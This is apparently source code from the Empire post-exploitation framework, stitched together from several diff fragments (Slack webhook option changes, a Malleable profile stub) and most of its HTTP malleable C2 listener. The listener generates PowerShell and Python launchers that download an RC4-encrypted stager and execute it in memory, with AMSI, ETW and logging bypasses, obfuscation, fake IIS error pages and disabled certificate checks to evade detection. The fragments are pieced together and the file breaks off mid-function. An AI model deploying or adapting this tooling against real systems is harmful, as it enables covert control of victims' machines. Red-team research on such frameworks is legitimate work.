81 """Deep copy of a Malleable object.
82
83 Returns:
84 MalleableObject
85 """
86 return self.__class__()
87
88 def _serialize(self):
89 """Serialize a Malleable object (json).
90
91 Returns:
92 dict (str, obj): Serialized data (json)
93 """
94 return {}
95
96 @classmethod
97 def _deserialize(cls, data):
98 """Deserialize data (json) into a Malleable object.
99
100 Args:
101 data (dict (str, obj)): Serialized data (json)
102
103 Returns:
104 Malleable object
105 """
106 return cls()
107
108 @classmethod
109 def _pattern(cls):
110 """Define the pattern to recognize this object while parsing a file.
111
112 Returns:
113 pyparsing object
114 """
115 return None
116
117 def _parse(self, data):
118 """Store the information from a parsed pyparsing result.
119
120 Args:
121 data: pyparsing data
122 """
123 pass
274274
275275 if len(data) - offset < 20:
276276 break
277
277
278278 RC4IV = data[0 + offset:4 + offset]
279279 RC4data = data[4 + offset:20 + offset]
280
280281 routingPacket = encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), RC4data)
281282 try:
282283 sessionID = routingPacket[0:8].decode('UTF-8')
116116 'Required' : False,
117117 'Value' : ''
118118 },
119 'SlackToken' : {
120 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
119 'SlackURL' : {
120 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
121121 'Required' : False,
122122 'Value' : ''
123 },
124 'SlackChannel' : {
125 'Description' : 'The Slack channel or DM that notifications will be sent to.',
126 'Required' : False,
127 'Value' : '#general'
128123 }
129124 }
130125
142142 'Required': False,
143143 'Value': 'default'
144144 },
145 'SlackToken': {
146 'Description': 'Your SlackBot API token to communicate with your Slack instance.',
145 'SlackURL': {
146 'Description': 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
147147 'Required': False,
148148 'Value': ''
149 },
150 'SlackChannel': {
151 'Description': 'The Slack channel or DM that notifications will be sent to.',
152 'Required': False,
153 'Value': '#general'
154149 }
155150 }
156151
289284 ' }',
290285 '',
291286 'a img {',
292 ' border:none;',
287 ' border:none;',
293288 '}',
294289 '',
295290 '-->',
432427 stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
433428 stager += "'%s');" % (stagingKey)
434429 # this is the minimized RC4 stager code from rc4.ps1
435 stager += helpers.randomize_capitalization(
436 '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
430 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
437431 # prebuild the request routing packet for the launcher
438432 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL',
439433 meta='STAGE0', additional='None', encData='')
120120 'Required': True,
121121 'Value': 'Server:Microsoft-IIS/7.5'
122122 },
123 'SlackToken': {
124 'Description': 'Your SlackBot API token to communicate with your Slack instance.',
123 'SlackURL': {
124 'Description': 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
125125 'Required': False,
126126 'Value': ''
127 },
128 'SlackChannel': {
129 'Description': 'The Slack channel or DM that notifications will be sent to.',
130 'Required': False,
131 'Value': '#general'
132127 }
133128 }
134129
8585 'Required' : False,
8686 'Value' : ''
8787 },
88 'SlackToken' : {
89 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
88 'SlackURL' : {
89 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
9090 'Required' : False,
9191 'Value' : ''
92 },
93 'SlackChannel' : {
94 'Description' : 'The Slack channel or DM that notifications will be sent to.',
95 'Required' : False,
96 'Value' : '#general'
9792 }
9893 }
9994
7373 'Required' : True,
7474 'Value' : '/tmp/http_hop/'
7575 },
76 'SlackToken' : {
77 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
76 'SlackURL' : {
77 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
7878 'Required' : False,
7979 'Value' : ''
80 },
81 'SlackChannel' : {
82 'Description' : 'The Slack channel or DM that notifications will be sent to.',
83 'Required' : False,
84 'Value' : '#general'
8580 }
8681 }
8782
0 from __future__ import print_function
1 import os, sys, logging, time, copy, string, base64, json, random, ssl
2 from pydispatch import dispatcher
3 from flask import Flask, request, make_response, Response, send_from_directory
4
5 # extras
6 from builtins import str
7 from builtins import object
8 import logging
9 import base64
10 import sys
11 import random
12 import string
13 import os
14 import ssl
15 import time
16 import copy
17 import json
18 import sys
19 import threading
20 import urllib.parse
21
22 from pydispatch import dispatcher
23
24 # Empire imports
25 from lib.common import helpers
26 from lib.common import agents
27 from lib.common import encryption
28 from lib.common import packets
29 from lib.common import messages
30 from lib.common import templating
31 from lib.common import obfuscation
32 from lib.common import bypasses
33
34 # Malleable imports
35 from lib.common import malleable
36
37 class Listener(object):
38
39 def __init__(self, mainMenu, params=[]):
40
41 self.info = {
42 'Name': 'HTTP[S] MALLEABLE',
43
44 'Author': ['@harmj0y', '@johneiser'],
45
46 'Description': ("Starts a http[s] listener (PowerShell or Python) that adheres to a Malleable C2 profile."),
47
48 # categories - client_server, peer_to_peer, broadcast, third_party
49 'Category' : ('client_server'),
50
51 'Comments': []
52 }
53
54 # any options needed by the stager, settable during runtime
55 self.options = {
56 # format:
57 # value_name : {description, required, default_value}
58
59 'Name' : {
60 'Description' : 'Name for the listener.',
61 'Required' : True,
62 'Value' : 'http_malleable'
63 },
64 'Host' : {
65 'Description' : 'Hostname/IP for staging.',
66 'Required' : True,
67 'Value' : "http://%s:%s" % (helpers.lhost(), 80)
68 },
69 'BindIP' : {
70 'Description' : 'The IP to bind to on the control server.',
71 'Required' : True,
72 'Value' : '0.0.0.0'
73 },
74 'Port' : {
75 'Description' : 'Port for the listener.',
76 'Required' : True,
77 'Value' : 80
78 },
79 'Profile' : {
80 'Description' : 'Malleable C2 profile to describe comms.',
81 'Required' : True,
82 'Value' : ''
83 },
84 'Launcher' : {
85 'Description' : 'Launcher string.',
86 'Required' : True,
87 'Value' : 'powershell -noP -sta -w 1 -enc '
88 },
89 'StagingKey' : {
90 'Description' : 'Staging key for initial agent negotiation.',
91 'Required' : True,
92 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
93 },
94 'DefaultLostLimit' : {
95 'Description' : 'Number of missed checkins before exiting',
96 'Required' : True,
97 'Value' : 60
98 },
99 'CertPath' : {
100 'Description' : 'Certificate path for https listeners.',
101 'Required' : False,
102 'Value' : ''
103 },
104 'KillDate' : {
105 'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
106 'Required' : False,
107 'Value' : ''
108 },
109 'WorkingHours' : {
110 'Description' : 'Hours for the agent to operate (09:00-17:00).',
111 'Required' : False,
112 'Value' : ''
113 },
114 'Proxy' : {
115 'Description' : 'Proxy to use for request (default, none, or other).',
116 'Required' : False,
117 'Value' : 'default'
118 },
119 'ProxyCreds' : {
120 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
121 'Required' : False,
122 'Value' : 'default'
123 },
124 'SlackURL' : {
125 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
126 'Required' : False,
127 'Value' : ''
128 }
129 }
130
131 # required:
132 self.mainMenu = mainMenu
133 self.threads = {} # used to keep track of any threaded instances of this server
134
135 # optional/specific for this module
136 self.app = None
137
138 # randomize the length of the default_response and index_page headers to evade signature based scans
139 self.header_offset = random.randint(0, 64)
140
141 # set the default staging key to the controller db default
142 self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
143
144 # used to protect self.http and self.mainMenu.conn during threaded listener access
145 self.lock = threading.Lock()
146
147 def get_db_connection(self):
148 """
149 Returns the cursor for SQLlite DB
150 """
151 self.lock.acquire()
152 self.mainMenu.conn.row_factory = None
153 self.lock.release()
154 return self.mainMenu.conn
155
156 def default_response(self):
157 """
158 Returns an IIS 7.5 404 not found page.
159 """
160
161 return '\r\n'.join([
162 '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
163 '<html xmlns="http://www.w3.org/1999/xhtml">',
164 '<head>',
165 '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
166 '<title>404 - File or directory not found.</title>',
167 '<style type="text/css">',
168 '<!--',
169 'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
170 'fieldset{padding:0 15px 10px 15px;} ',
171 'h1{font-size:2.4em;margin:0;color:#FFF;}',
172 'h2{font-size:1.7em;margin:0;color:#CC0000;} ',
173 'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ',
174 '#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
175 'background-color:#555555;}',
176 '#content{margin:0 0 0 2%;position:relative;}',
177 '.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
178 '-->',
179 '</style>',
180 '</head>',
181 '<body>',
182 '<div id="header"><h1>Server Error</h1></div>',
183 '<div id="content">',
184 ' <div class="content-container"><fieldset>',
185 ' <h2>404 - File or directory not found.</h2>',
186 ' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
187 ' </fieldset></div>',
188 '</div>',
189 '</body>',
190 '</html>',
191 ' ' * self.header_offset, # randomize the length of the header to evade signature based detection
192 ])
193
194 def method_not_allowed_page(self):
195 """
196 Imitates IIS 7.5 405 "method not allowed" page.
197 """
198
199 return '\r\n'.join([
200 '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
201 '<html xmlns="http://www.w3.org/1999/xhtml">',
202 '<head>',
203 '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
204 '<title>405 - HTTP verb used to access this page is not allowed.</title>',
205 '<style type="text/css">',
206 '<!--',
207 'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
208 'fieldset{padding:0 15px 10px 15px;} ',
209 'h1{font-size:2.4em;margin:0;color:#FFF;}',
210 'h2{font-size:1.7em;margin:0;color:#CC0000;} ',
211 'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ',
212 '#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
213 'background-color:#555555;}',
214 '#content{margin:0 0 0 2%;position:relative;}',
215 '.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
216 '-->',
217 '</style>',
218 '</head>',
219 '<body>',
220 '<div id="header"><h1>Server Error</h1></div>',
221 '<div id="content">',
222 ' <div class="content-container"><fieldset>',
223 ' <h2>405 - HTTP verb used to access this page is not allowed.</h2>',
224 ' <h3>The page you are looking for cannot be displayed because an invalid method (HTTP verb) was used to attempt access.</h3>',
225 ' </fieldset></div>',
226 '</div>',
227 '</body>',
228 '</html>\r\n'
229 ])
230
231 def index_page(self):
232 """
233 Returns a default HTTP server page.
234 """
235
236 return '\r\n'.join([
237 '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
238 '<html xmlns="http://www.w3.org/1999/xhtml">',
239 '<head>',
240 '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
241 '<title>IIS7</title>',
242 '<style type="text/css">',
243 '<!--',
244 'body {',
245 ' color:#000000;',
246 ' background-color:#B3B3B3;',
247 ' margin:0;',
248 '}',
249 '',
250 '#container {',
251 ' margin-left:auto;',
252 ' margin-right:auto;',
253 ' text-align:center;',
254 ' }',
255 '',
256 'a img {',
257 ' border:none;',
258 '}',
259 '',
260 '-->',
261 '</style>',
262 '</head>',
263 '<body>',
264 '<div id="container">',
265 '<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
266 '</div>',
267 '</body>',
268 '</html>',
269 ])
270
271
272 def validate_options(self):
273 """
274 Validate all options for this listener.
275 """
276
277 for key in self.options:
278 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
279 print(helpers.color("[!] Option \"%s\" is required." % (key)))
280 return False
281
282 file = self.options["Profile"]["Value"]
283 try:
284 profile = malleable.Profile()
285 profile.ingest(file)
286
287 # since stager negotiation comms are hard-coded, we can't use any stager transforms - overwriting with defaults
288 profile.stager.client.verb = "GET"
289 profile.stager.client.metadata.transforms = []
290 profile.stager.client.metadata.base64url()
291 profile.stager.client.metadata.prepend(self.generate_cookie() + "=")
292 profile.stager.client.metadata.header("Cookie")
293 profile.stager.server.output.transforms = []
294 profile.stager.server.output.print_()
295
296 if profile.validate():
297 # store serialized profile for use across sessions
298 self.options["ProfileSerialized"] = {
299 "Description" : "Serialized version of the provided Malleable C2 profile.",
300 "Required" : False,
301 "Value" : profile._serialize()
302 }
303
304 # for agent compatibility (use post for staging)
305 self.options["DefaultProfile"] = {
306 "Description" : "Default communication profile for the agent.",
307 "Required" : False,
308 "Value" : profile.post.client.stringify()
309 }
310
311 # grab sleeptime from profile
312 self.options["DefaultDelay"] = {
313 'Description' : 'Agent delay/reach back interval (in seconds).',
314 'Required' : False,
315 'Value' : int(int(profile.sleeptime)/1000) if hasattr(profile, "sleeptime") else 5
316 }
317
318 # grab jitter from profile
319 self.options["DefaultJitter"] = {
320 'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
321 'Required' : True,
322 'Value' : float(profile.jitter)/100 if hasattr(profile, "jitter") else 0.0
323 }
324
325 # eliminate troublesome headers
326 for header in ["Connection"]:
327 profile.stager.client.headers.pop(header, None)
328 profile.get.client.headers.pop(header, None)
329 profile.post.client.headers.pop(header, None)
330
331 else:
332 print(helpers.color("[!] Unable to parse malleable profile: %s" % (file)))
333 return False
334
335 if self.options["CertPath"]["Value"] == "" and self.options["Host"]["Value"].startswith("https"):
336 print(helpers.color("[!] HTTPS selected but no CertPath specified."))
337 return False
338
339 except malleable.MalleableError as e:
340 print(helpers.color("[!] Error parsing malleable profile: %s, %s" % (file, e)))
341 return False
342
343 return True
344
345
346 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None,
347 stager=None, scriptLogBypass=None, AMSIBypass=False, AMSIBypass2=False, ETWBypass=False):
348 """
349 Generate a basic launcher for the specified listener.
350 """
351
352 if not language:
353 print(helpers.color('[!] listeners/template generate_launcher(): no language specified!'))
354 return None
355
356 if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
357
358 # extract the set options for this instantiated listener
359 listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
360 bindIP = listenerOptions['BindIP']['Value']
361 port = listenerOptions['Port']['Value']
362 host = listenerOptions['Host']['Value']
363 launcher = listenerOptions['Launcher']['Value']
364 stagingKey = listenerOptions['StagingKey']['Value']
365
366 # build profile
367 profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"])
368 profile.stager.client.host = host
369 profile.stager.client.port = port
370 profile.stager.client.path = profile.stager.client.random_uri()
371
372 if userAgent and userAgent.lower() != 'default':
373 if userAgent.lower() == 'none' and "User-Agent" in profile.stager.client.headers:
374 profile.stager.client.headers.pop("User-Agent")
375 else:
376 profile.stager.client.headers["User-Agent"] = userAgent
377
378 if language.lower().startswith('po'):
379 # PowerShell
380
381 vGPF = helpers.generate_random_script_var_name("GPF")
382 vGPC = helpers.generate_random_script_var_name("GPC")
383 vWc = helpers.generate_random_script_var_name("wc")
384 vData = helpers.generate_random_script_var_name("data")
385
386 launcherBase = '$ErrorActionPreference = \"SilentlyContinue\";'
387
388 if safeChecks.lower() == 'true':
389 launcherBase = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
390 # ScriptBlock Logging bypass
391 if scriptLogBypass:
392 launcherBase += bypasses.scriptBlockLogBypass()
393 if ETWBypass:
394 launcherBase += bypasses.ETWBypass()
395 # @mattifestation's AMSI bypass
396 if AMSIBypass:
397 launcherBase += bypasses.AMSIBypass()
398 # rastamouse AMSI bypass
399 if AMSIBypass2:
400 launcherBase += bypasses.AMSIBypass2()
401 if safeChecks.lower() == 'true':
402 launcherBase += "};"
403 launcherBase += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
404
405 # ==== DEFINE BYTE ARRAY CONVERSION ====
406 launcherBase += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
407 launcherBase += "'%s');" % (stagingKey)
408
409 # ==== DEFINE RC4 ====
410 launcherBase += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
411
412 # ==== BUILD AND STORE METADATA ====
413 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
414 routingPacketTransformed = profile.stager.client.metadata.transform(routingPacket)
415 profile.stager.client.store(routingPacketTransformed, profile.stager.client.metadata.terminator)
416
417 # ==== BUILD REQUEST ====
418 launcherBase += helpers.randomize_capitalization("$"+vWc+"=New-Object System.Net.WebClient;")
419 launcherBase += "$ser="+helpers.obfuscate_call_home_address(profile.stager.client.scheme + "://" + profile.stager.client.netloc)+";$t='"+profile.stager.client.path+profile.stager.client.query+"';"
420
421 # ==== HANDLE SSL ====
422 if profile.stager.client.scheme == 'https':
423 # allow for self-signed certificates for https connections
424 launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
425
426 # ==== CONFIGURE PROXY ====
427 if proxy and proxy.lower() != 'none':
428 if proxy.lower() == 'default':
429 launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
430 else:
431 launcherBase += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
432 launcherBase += proxy.lower()
433 launcherBase += helpers.randomize_capitalization("');")
434 launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy = $proxy;")
435 if proxyCreds and proxyCreds.lower() != 'none':
436 if proxyCreds.lower() == 'default':
437 launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
438 else:
439 username = proxyCreds.split(':')[0]
440 password = proxyCreds.split(':')[1]
441 if len(username.split('\\')) > 1:
442 usr = username.split('\\')[1]
443 domain = username.split('\\')[0]
444 launcherBase += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
445 else:
446 usr = username.split('\\')[0]
447 launcherBase += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
448 launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy.Credentials = $netcred;")
449 # save the proxy settings to use during the entire staging process and the agent
450 launcherBase += "$Script:Proxy = $"+vWc+".Proxy;"
451
452 # ==== ADD HEADERS ====
453 for header, value in profile.stager.client.headers.items():
454 #If host header defined, assume domain fronting is in use and add a call to the base URL first
455 #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
456 if header.lower() == "host":
457 launcherBase += helpers.randomize_capitalization("try{$ig=$"+vWc+".DownloadData($ser)}catch{};")
458 launcherBase += helpers.randomize_capitalization("$"+vWc+".Headers.Add(")
459 launcherBase += "\"%s\",\"%s\");" % (header, value)
460
461 # ==== SEND REQUEST ====
462 if profile.stager.client.verb.lower() != "get" or profile.stager.client.body:
463 launcherBase += helpers.randomize_capitalization("$"+vData+"=$"+vWc+".UploadData($ser+$t,'"+ profile.stager.client.verb +"','"+ profile.stager.client.body +"')\n")
464 else:
465 launcherBase += helpers.randomize_capitalization("$"+vData+"=$"+vWc+".DownloadData($ser+$t);")
466
467 # ==== INTERPRET RESPONSE ====
468 if profile.stager.server.output.terminator.type == malleable.Terminator.HEADER:
469 launcherBase += helpers.randomize_capitalization("$"+vData+"='';for ($i=0;$i -lt $"+vWc+".ResponseHeaders.Count;$i++){")
470 launcherBase += helpers.randomize_capitalization("if ($"+vData+".ResponseHeaders.GetKey($i) -eq '"+ profile.stager.server.output.terminator.arg +"'){")
471 launcherBase += helpers.randomize_capitalization("$"+vData+"=$"+vWc+".ResponseHeaders.Get($i);")
472 launcherBase += helpers.randomize_capitalization("Add-Type -AssemblyName System.Web;$"+vData+"=[System.Web.HttpUtility]::UrlDecode($"+vData+");")
473 launcherBase += "}}"
474 elif profile.stager.server.output.terminator.type == malleable.Terminator.PRINT:
475 launcherBase += ""
476 else:
477 launcherBase += ""
478 launcherBase += profile.stager.server.output.generate_powershell_r("$"+vData)
479
480 # ==== EXTRACT IV AND STAGER ====
481 launcherBase += helpers.randomize_capitalization("$iv=$"+vData+"[0..3];$"+vData+"=$"+vData+"[4..$"+vData+".length];")
482
483 # ==== DECRYPT AND EXECUTE STAGER ====
484 launcherBase += helpers.randomize_capitalization("-join[Char[]](& $R $"+vData+" ($IV+$K))|IEX")
485
486 if obfuscate:
487 launcherBase = helpers.obfuscate(self.mainMenu.installPath, launcherBase, obfuscationCommand=obfuscationCommand)
488
489 if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
490 return helpers.powershell_launcher(launcherBase, launcher)
491 else:
492 return launcherBase
493
494 elif language.lower().startswith('py'):
495 # Python
496
497 # ==== HANDLE IMPORTS ====
498 launcherBase = 'import sys,base64\n'
499 launcherBase += 'import urllib.request as urllib'
500
501 # ==== HANDLE SSL ====
502 if profile.stager.client.scheme == "https":
503 launcherBase += "import ssl\n"
504 launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n"
505
506 # ==== SAFE CHECKS ====
507 if safeChecks and safeChecks.lower() == 'true':
508 launcherBase += "import re,subprocess\n"
509 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
510 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
511 launcherBase += "out, err = ps.communicate()\n"
512 launcherBase += "if re.search('Little Snitch', out):sys.exit()\n"
513
514 launcherBase += "server='%s'\n" % (host)
515
516 # ==== CONFIGURE PROXY ====
517 if proxy and proxy.lower() != 'none':
518 if proxy.lower() == 'default':
519 launcherBase += "proxy = urllib.ProxyHandler()\n"
520 else:
521 proto = proxy.split(':')[0]
522 launcherBase += "proxy = urllib.ProxyHandler({'"+proto+"':'"+proxy+"'})\n"
523 if proxyCreds and proxyCreds != 'none':
524 if proxyCreds == 'default':
525 launcherBase += "o = urllib.build_opener(proxy)\n"
526 else:
527 launcherBase += "proxy_auth_handler = urllib.ProxyBasicAuthHandler()\n"
528 username = proxyCreds.split(':')[0]
529 password = proxyCreds.split(':')[1]
530 launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"')\n"
531 launcherBase += "o = urllib.build_opener(proxy, proxy_auth_handler)\n"
532 else:
533 launcherBase += "o = urllib.build_opener(proxy)\n"
534 else:
535 launcherBase += "o = urllib.build_opener()\n"
536 # install proxy and creds globaly, so they can be used with urlopen.
537 launcherBase += "urllib.install_opener(o)\n"
538
539 # ==== BUILD AND STORE METADATA ====
540 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
541 routingPacketTransformed = profile.stager.client.metadata.transform(routingPacket)
542 profile.stager.client.store(routingPacketTransformed, profile.stager.client.metadata.terminator)
543
544 # ==== BUILD REQUEST ====
545 launcherBase += "vreq=type('vreq',(urllib.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.Request.get_method(self)})\n"
546 launcherBase += "req=vreq('%s', '%s')\n" % (profile.stager.client.url, profile.stager.client.body)
547 launcherBase += "req.verb='"+profile.stager.client.verb+"'\n"
548
549 # ==== ADD HEADERS ====
550 for header, value in profile.stager.client.headers.items():
551 launcherBase += "req.add_header('%s','%s')\n" % (header, value)
552
553 # ==== SEND REQUEST ====
554 launcherBase += "res=urllib.urlopen(req)\n"
555
556 # ==== INTERPRET RESPONSE ====
557 if profile.stager.server.output.terminator.type == malleable.Terminator.HEADER:
558 launcherBase += "head=res.info().dict\n"
559 launcherBase += "a=head['%s'] if '%s' in head else ''\n" % (profile.stager.server.output.terminator.arg, profile.stager.server.output.terminator.arg)
560 launcherBase += "a=urllib.parse.unquote(a)\n"
561 elif profile.stager.server.output.terminator.type == malleable.Terminator.PRINT:
562 launcherBase += "a=res.read()\n"
563 else:
564 launcherBase += "a=''\n"
565 launcherBase += profile.stager.server.output.generate_python_r("a")
566
567 # ==== EXTRACT IV AND STAGER ====
568 launcherBase += "a=urllib.urlopen(req).read();\n"
569 launcherBase += "IV=a[0:4];"
570 launcherBase += "data=a[4:];"
571 launcherBase += "key=IV+'%s'.encode('UTF-8');" % (stagingKey)
572
573 # ==== DECRYPT STAGER (RC4) ====
574 launcherBase += "S,j,out=list(range(256)),0,[]\n"
575 launcherBase += "for i in list(range(256)):\n"
576 launcherBase += " j=(j+S[i]+key[i%len(key)])%256\n"
577 launcherBase += " S[i],S[j]=S[j],S[i]\n"
578 launcherBase += "i=j=0\n"
579 launcherBase += "for char in data:\n"
580 launcherBase += " i=(i+1)%256\n"
581 launcherBase += " j=(j+S[i])%256\n"
582 launcherBase += " S[i],S[j]=S[j],S[i]\n"
583 launcherBase += " out.append(chr(char^S[(S[i]+S[j])%256]))\n"
584 launcherBase += "exec(''.join(out))"
585
586 # ==== EXECUTE STAGER ====
587 launcherBase += "exec(''.join(out))"
588
589 if encode:
590 launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8')
591 if isinstance(launchEncoded, bytes):
592 launchEncoded = launchEncoded.decode('UTF-8')
593 launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
594 return launcher
595 else:
596 return launcherBase
597
598 else:
599 print(helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."))
600
601 else:
602 print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
603
604
605 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
606 """
607 Generate the stager code needed for communications with this listener.
608 """
609
610 if not language:
611 print(helpers.color('[!] listeners/http_malleable generate_stager(): no language specified!'))
612 return None
613
614 # extract the set options for this instantiated listener
615 port = listenerOptions['Port']['Value']
616 host = listenerOptions['Host']['Value']
617 launcher = listenerOptions['Launcher']['Value']
618 stagingKey = listenerOptions['StagingKey']['Value']
619 workingHours = listenerOptions['WorkingHours']['Value']
620 killDate = listenerOptions['KillDate']['Value']
621
622 # build profile
623 profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"])
624 profile.stager.client.host = host
625 profile.stager.client.port = port
626
627 profileStr = profile.stager.client.stringify()
628
629 # select some random URIs for staging
630 stage1 = profile.stager.client.random_uri()
631 stage2 = profile.stager.client.random_uri()
632
633 if language.lower() == 'powershell':
634
635 # read in the stager base
636 f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
637 stager = f.read()
638 f.close()
639
640 # Get the random function name generated at install and patch the stager with the proper function name
641 conn = self.get_db_connection()
642 self.lock.acquire()
643 stager = helpers.keyword_obfuscation(stager)
644 self.lock.release()
645
646 # patch in custom headers
647 if profile.stager.client.headers:
648 headers = ",".join([":".join([k.replace(":","%3A"),v.replace(":","%3A")]) for k,v in profile.stager.client.headers.items()])
649 stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";")
650
651 # patch in working hours
652 if workingHours:
653 stager = stager.replace("WORKING_HOURS_REPLACE", workingHours)
654
655 # patch in the killdate
656 if killDate:
657 stager = stager.replace("REPLACE_KILLDATE", killDate)
658
659 # patch in the server and key information
660 stager = stager.replace("REPLACE_SERVER", host)
661 stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
662 stager = stager.replace("/index.jsp", stage1)
663 stager = stager.replace("/index.php", stage2)
664
665 randomizedStager = ''
666 # forces inputs into a bytestring to ensure 2/3 compatibility
667 stagingKey = stagingKey.encode('UTF-8')
668 # stager = stager.encode('UTF-8')
669 # randomizedStager = randomizedStager.encode('UTF-8')
670
671 for line in stager.split("\n"):
672 line = line.strip()
673 # skip commented line
674 if not line.startswith("#"):
675 # randomize capitalization of lines without quoted strings
676 if "\"" not in line:
677 randomizedStager += helpers.randomize_capitalization(line)
678 else:
679 randomizedStager += line
680
681 if obfuscate:
682 randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
683
684 if encode:
685 return helpers.enc_powershell(randomizedStager)
686 elif encrypt:
687 RC4IV = os.urandom(4)
688 return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8'))
689 else:
690 return randomizedStager
691
692 elif language.lower() == 'python':
693 template_path = [
